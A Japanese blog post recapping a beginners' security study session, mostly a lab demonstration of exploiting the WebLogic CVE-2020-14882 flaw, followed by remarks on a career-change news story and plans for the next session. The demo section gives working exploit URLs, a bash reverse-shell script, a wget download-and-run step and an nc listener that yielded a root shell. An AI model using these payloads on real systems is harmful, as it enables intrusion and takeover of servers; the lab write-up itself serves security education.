昨日は以下の勉強会を開催していました。
・第3回 初心者のためのセキュリティ勉強会(オンライン開催)
オンライン勉強会については初の試みでしたが、なんとかなってよかったです。
ただ、まだ改善する箇所はあるので、そこは対応していきたいと思います。
発表内容について
私は以下の内容で発表しました。
・WebLogic Server の脆弱性(CVE-2020-14882)の検証
これについては以前ブログに記載した以下の記事について実際にデモを行いました。
・WebLogic Server の脆弱性(CVE-2020-14882)を検証する!
こちらでは脆弱性を利用した電卓(gnome-calculator)の起動まででしたが、勉強会ではリバースシェルを行い実際にシェルをとるというところまでやりましたので、こちらを補足説明として今回記事にしていきます。
なお、環境については以下のようになっています。
WebLogicServer:192.168.119.131
KaliLinux:192.168.119.129
Windows(ホストマシン):192.168.119.1
となっています。
burpとかを使用する際はwindowsで動作させており、リバースシェル等を行う際にKaliLinuxを使用する形です。
リバースシェルによるシェルの取得
勉強会の前日とうか、以前記事を書いた際に実際にコマンドが動くところまでは確認できていたので、高を括っており、WebLogicServer側で以下を入力して、KaliLinuxで待ち受けしていればいいと思っていました。
http://192.168.119.131:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.119.129/8888 0>&1');")
しかし実際はなぜか動作せず・・・
恐らく、コマンド内の「&」(アンパサンド)がコマンドの一部ではなく、パラメータを分ける記号として認識されてしまったので、できなかったのかと予想。
※ちゃんとご存じの方がいたら教えてくれると嬉しい・・・
そのため、そのまま実行できなかったので、以下の方法を使用しました。
まずはKaliLinuxのカレントディレクトリ「/var/www/html/」に以下の「attack.sh」ファイルを作成しました。
# cat attack.sh #!/bin/bash /bin/bash -i>&/dev/tcp/192.168.119.129/8888 0>&1
ファイルの中身を見てわかる通り、bashスクリプトを記載して、先ほど実行しようとしたコマンドを記載しているだけです。
これをWebLogicServer側で「wget」コマンドを使用して、取得する感じです。
KaliLinuxとしては以下の作業を行います。
# service apache2 start ※Apacheのサービスを起動させ、wgetで「attack.sh」ファイルを取得できるようにする # nc -lvp 8888 listening on [any] 8888 ... ※ポート8888番で待ち受け
これでKaliLinux側の準備は完了です。
次はWebLogixServer側の作業です。
まずは以下の入力を行い、「wget」コマンドで「attack.sh」ファイルを「/tmp」ディレクトリに置きます。
http://192.168.119.131:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('wget -P /tmp http://192.168.119.129/attack.sh');")
その後以下を入力し、「attack.sh」を実行します。
http://192.168.119.131:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('bash /tmp/attack.sh');")
すると以下のようにKaliLinux側で、WebLogicServerのシェルを実行することが可能になります。
ここでは「uname -a」と「whoami」を実行させています。
私が作成した環境だと権限も「root」になっていますので、本当に何でも出来てしまいます(笑)
また実際にどのようにファイルができているかというと以下のような感じです。
なんと「attack.sh」ファイルが10個以上作成されています。
前に電卓を起動した場合も10個くらい起動していました。
他のサーバへのDDoSとかにも使用される恐れもあるので、ちゃんと脆弱性の対応を行う必要があるかと思います。
以上で私が実施した勉強会の補足は終わりです。
勉強会終了後
発表自体は21:10分ごろに終わったので、レクリエーション?として以下のニュースについて、意見を伺っていました。
・鉄道会社をやめてプログラマーに転職、年収半減した男性 スクールに80万円投資、紹介されたのは劣悪SES企業
いろいろな意見が出て面白かったです。
意見を言っていただいた方、どうもありがとうございました!
個人的にはスクールに行ったとしても業界の「新人」であることは変わらないので、年収が「300万」になったという結果は仕方がないと思っています。
※能力が新卒と同じかそれ以下なので
特にIT業界での実績が全くない状態なので、まずはどんな形であれ実績作りをする必要があるかと思います。
その後、転職なり、紹介なりで年収や実績をもりもりつけていくという形が理想になるのかなと考えています。
そもそも、記事内で書いてある「HTML」や「CSS」ってプログラミング言語ではないのだが、スクールではプログラミング言語として教えてるのだろうか?
ちなみにWeb系よりもTCP/IPを勉強して、インフラなり、サーバなりを実務でやる方が潰しが利くのではないかと個人的には思っています。
別の話としては、次回の勉強会を「オンライン」でやるか「オフライン」でやるかを伺いました。
回答があった中では「オンライン」または「オフラインandオンライン」でやってほしいということでした。
なので、次回は「オンライン」でやる方向で進めます。
zoomの有料ライセンスの期限の関係で、2月の2週目くらいにやる予定です。
開催が決まったら、connpassに立ててブログでも通知したいと思います。
不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。
コメント